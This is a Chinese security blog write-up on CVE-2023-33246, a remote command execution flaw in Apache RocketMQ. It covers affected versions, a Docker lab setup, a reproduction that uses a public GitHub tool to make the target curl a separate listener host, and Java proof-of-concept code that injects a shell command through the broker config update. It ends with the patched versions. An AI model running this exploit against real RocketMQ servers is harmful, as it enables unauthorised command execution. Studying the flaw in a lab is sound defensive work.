关注我们❤️,添加星标🌟,一起学安全!
作者:Locks_@Timeline Sec
本文字数:2940
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
RocketMQ是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。
0x02 漏洞概述
漏洞编号:CVE-2023-33246
Apache RocketMQ此漏洞是一个远程命令执行漏洞。RocketMQ的NameServer、Broker、Controller等多个组件缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
0x03 影响版本
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
0x04 环境搭建
docker搭建环境
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
启动namesrv
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e
"MAX_POSSIBLE_HEAP=100000000"
apache/rocketmq:4.9.1 sh mqnamesrv
创建目录
mkdir -p /mydata/rocketmq/conf/
在宿主机创建broker配置文件, 启动broker服务需要,我这里的路径为: /mydata/rocketmq/conf/broker.conf文件内容(vim /mydata/rocketmq/conf/broker.conf)
brokerClusterName = DefaultCluster
brokerName = broker
-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = 192.168.88.104
注:172.16.0.70为我的宿主机IP 启动docker
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e
"NAMESRV_ADDR=namesrv:9876"
-e
"MAX_POSSIBLE_HEAP=200000000"
apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
启动console
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv
-e
"JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876
-Dcom.rocketmq.sendMessageWithVIPChannel=false"
-t apacherocketmq/rocketmq-console:2.0.0
最后访问8899得到如下
http://172.16.0.70:8899/
#/
0x05 漏洞复现
靶机:centos7 docker搭建 172.16.0.70
攻击:win11 脚本攻击 172.16.0.61
接收:kali curl 172.16.0.68
GitHub中的工具
https://github.com/SuperZero/CVE-2023-33246/tree/main
命令语句模板
java -jar CVE-2023-33246.jar -ip
"被攻击host"
-cmd
"执行的命令"
使用kali自带的http服务验证命令是否执行成功
java -jar .CVE-2023-33246.jar -ip
"172.16.0.70"
-cmd
"curl http://172.16.0.68:8000"
成功访问到kali的http服务
0x06 漏洞分析
漏洞成因:
1.提供无加密与鉴权的不安全服务;
2.对于用户输入的检查与过滤不足。
通过修改RocketMQ的配置文件来实现攻击。它创建一个DefaultMQAdminExt对象,并设置namesrv地址。
然后,它通过设置rocketmqHome属性来修改配置文件中的rocketmqHome配置,并将操作系统命令拼接到配置参数中。
最后,它使用admin.updateBrokerConfig方法向特定的broker地址发送修改后的配置数据,从而实现对该broker的攻击。
import java.util.Properties;
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
public static void main(String[] args) {
// 创建 Properties 对象
Properties props = new Properties();
//修改rocketmqHome配置
props.setProperty(
"rocketmqHome"
,
"-c
$@
|sh . echo open -a Calculator;"
);
props.setProperty(
"filterServerNums"
,
"1"
);
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
//此处为 namesrv 端口,此端口无需可访问
admin.setNamesrvAddr(
"localhost:9876"
);
admin.start();
// 更新配置⽂件
//此处为 broker 端口,必须可访问
admin.updateBrokerConfig(
"127.0.0.1:10911"
, props);
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
0x07 修复方式
目前官方已发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1或者4.9.6
下载链接:
https://rocketmq.apache.org/download/
参考链接
https://mp.weixin.qq.com/s/tSu-rVpmdDgMLGF_g_1_5Q
原文始发于微信公众号(Timeline Sec):CVE-2023-33246:Apache RocketMQ远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论